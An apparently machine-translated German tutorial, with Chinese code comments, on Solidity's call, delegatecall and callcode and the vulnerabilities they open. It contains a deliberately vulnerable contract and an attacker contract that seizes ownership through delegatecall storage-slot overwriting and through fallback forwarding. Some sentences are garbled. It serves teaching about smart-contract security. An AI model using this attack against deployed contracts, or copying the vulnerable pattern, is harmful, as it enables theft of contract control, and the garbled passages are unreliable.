Inhaltsverzeichnis
1. Drei Aufrufmethoden
Es gibt drei Möglichkeiten für einen Vertrag, Funktionen anderer Verträge in Solidity aufzurufen:
<address>.call(...) returns (bool)
<address>.callcode(...) returns (bool)
<address>.delegatecall(...) returns (bool)
1)call()
call ist die am häufigsten verwendete Aufrufmethode. Der externe Aufrufkontext von call istder aufgerufene Vertrag, was bedeutet, dass die Ausführungsumgebung vorhanden ist Nach dem Aufruf wird der Wert der integrierten Variablen msg an die laufende Umgebung des Aufrufers angepasst.
2)delegatecall()
Der externe Aufrufkontext von delegatecall istder Aufrufervertrag, was bedeutet, dass die Ausführungsumgebung die Laufumgebung des Aufrufers ist. Nach dem Anruf, die integrierte Variable msg Der Wert von wird für den Aufrufer nicht geändert.
3)callcode()
Der externe Aufrufkontext von Callcode istder Aufrufervertrag, was bedeutet, dass die Ausführungsumgebung die Laufumgebung des Aufrufers ist und die eingebaute in Variable msg ist nach dem Aufruf Der Wert wird an den Aufrufer geändert
2. Zwei Aufrufparametertypen
Es gibt zwei Arten von Parametern, die an die Aufruffunktion übergeben werden:
1) Funktionssignatur
Funktionssignatur = Funktionsname + (Parametertypliste), uint und int sollten als uint256 und int256 geschrieben werden
func(uint arg1, int arg2) ==> func(uint256,int256)
Aufrufmethode:
<addr>.call(bytes)
addr.call(abi.encodeWithSignature("func(uint256)", arg1));
addr.call(msg.data);
msg.data
msg.data ist eine globale Variable in Solidität. Der Wert sind die vollständigen Aufrufdaten (die beim Aufruf der Funktion übergebenen Daten). Die ersten 4 Bytes sind der Funktionsselektor. Jeder Wert der folgenden Parameter wird in eine hexadezimale Zeichenfolge fester Länge von 32 Byte umgewandelt. Wenn mehrere Parameter vorhanden sind, werden sie miteinander verkettet.
Wie in der Abbildung gezeigt, ist der Parameterwert von three_call derselbe wie der Wert von msg.data
2) Funktionswähler
Funktionsselektor: die ersten 4 Bytes des Keccak-Hashs der Funktionssignatur, gefolgt von den Parametern
<addr>.call(bytes4 selector)
addr.call(bytes4(keccak-256("func(uint)")),arg1);
addr.call(abi.encodeWithSelector(0x6a627842, "0x2c44b726ADF1963cA47Af88B284C06f30380fC78"))
3. Schwachstellenszenarien
Vorkenntnisse: EVM-Speicher
In einem einzelnen VertragZustandsvariablen werden im Speicher gespeichert und in der Reihenfolge der Deklaration im Kartensteckplatz gespeichert
contract A{
address owner;
B addrB;
}
3.1 DelegierterAufruf
Änderungen an Delegatecall
Wenn sowohl Vertrag A als auch Vertrag C Statusvariablen haben und die von Delegatecall aufgerufene Funktion den Wert der ersten Statusvariablen von Vertrag C ändert, wird tatsächlich der Wert der ersten Statusvariablen in Vertrag A geändert, also Slot 0 des Vertrags A. Der Eigentümer der Zustandsvariablen in
Schwachstellenszenario:
- Die Delegatecall-Adresse ist steuerbar und die Vertragsstatusvariablen des Anrufers können geändert werden.
- Die Delegatecall-Parameter sind steuerbar und können sensible Funktionen des aufgerufenen Vertrags ausführen. Beispielsweise wird msg.data als Delegatecall-Parameter verwendet.
pragma solidity ^0.4.23;
// 合约 A
contract A{
address owner;
B addrB;
constructor() {
owner = msg.sender;
}
function changeOwner(address _newOwner) public {
require(msg.sender == owner);
owner = _newOwner;
}
function setB(B addr) public {
addrB = addr;
}
// vuln1:delegatecall 地址可控
function vuln1(address _contract) public {
_contract.delegatecall(abi.encodeWithSignature("func()"));
}
// vuln2:delegatecall 参数可控
function() public{
addrB.delegatecall(msg.data);
}
}
// 合约 B
contract B {
address public owner;
function init() public {
owner = msg.sender;
}
}
Angriffsvertrag
pragma solidity ^0.4.23;
import "./A.sol";
contract Attacker{
address public owner;
// 攻击 vuln1
function func() public {
// 修改合约 A 状态变量 owner
owner = msg.sender;
}
function attack_vuln2(address addrA) public {
// 调用合约 A 中不存在的函数 init,进而执行 fallback 函数,
// 而此时 msg.data 的前4个字节就是 init 函数选择器,
// 进而执行了合约 B 的 init 函数
// A(addrA).init();
addrA.call(abi.encodeWithSignature("init()"));
}
}
3.2 Anruf
Wenn Call zum Aufrufen einer Funktion eines anderen Vertrags verwendet wird, ist die Ausführungsumgebung die Ausführungsumgebung des aufgerufenen Vertrags, und die Statusvariablen des aufgerufenen Vertrags werden ebenfalls geändert. Das Instanziieren anderer Verträge innerhalb eines Vertrags entspricht einem Anruf.
Das Schwachstellenszenario von Call ähnelt dem von Delegatecall:
- Die Anrufadresse ist steuerbar: Führen Sie die gleichnamige Funktion eines beliebigen Adressvertrags aus
- Der Aufrufparameter ist steuerbar: Führen Sie an dieser Adresse eine beliebige Funktion des Vertrags aus
- Die Signatur der aufrufenden Funktion ist steuerbar
- Die Parameter der aufrufenden Funktion sind steuerbar
Ein Merkmal von EVM: EVM verfügt beim Abrufen von Parametern nicht über einen Prozess zur Überprüfung der Parameternummer. Es werden Werte von vorne nach hinten übernommen. Nachdem genügend Parameter abgerufen wurden, werden die überschüssigen Parameter am Ende abgeschnitten, und während des Vorgangs werden keine Fehler gemeldet Kompilierungs- und Ausführungsphasen. .
Wie folgt: Die folgenden Parameter 4 und 5 werden abgeschnitten
addr.call(bytes4(keccak256("test(uint256,uint256,uint256)")),1,2,3,4,5)